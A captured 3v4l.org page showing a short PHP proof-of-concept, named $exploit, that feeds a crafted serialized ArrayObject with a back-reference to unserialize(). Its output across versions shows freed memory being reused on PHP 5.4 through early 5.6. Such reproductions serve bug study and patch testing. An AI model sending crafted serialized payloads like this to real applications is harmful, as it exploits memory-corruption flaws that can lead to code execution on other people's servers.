3v4l.org

run code in 300+ PHP versions simultaneously
<?php $inner = 'x:i:1234;a:0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.38, 5.6.12 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> int(1234) }
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> int(1234) }
Output for 5.5.0 - 5.5.27, 5.6.0 - 5.6.11
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> string(3) "hi2" }
Output for 5.4.0 - 5.4.43
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> string(3) "hi3" }

preferences:
240.87 ms | 401 KiB | 376 Q